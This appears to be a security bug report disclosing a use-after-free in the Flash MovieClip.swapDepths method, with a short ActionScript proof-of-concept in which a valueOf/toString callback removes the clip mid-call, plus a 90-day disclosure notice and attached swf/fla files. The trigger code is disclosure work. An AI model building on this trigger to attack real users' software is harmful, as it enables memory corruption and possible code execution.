There is a use-after-free in MovieClip.swapDepths, a POC is as follows:

var clip1 = this.createEmptyMovieClip("clip1", 1);
var clip2 = this.createEmptyMovieClip("clip2", 2);

var n = {valueOf: func, toString: func};

clip1.swapDepths(n);

function func(){
	
	clip1.removeMovieClip();
	//_root.createEmptyMovieClip("test", 1);
	
	trace("here");
	return "clip2";
	}

A swf and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 

swap.swf 705 bytes Download

swap.fla 4.7 KB Download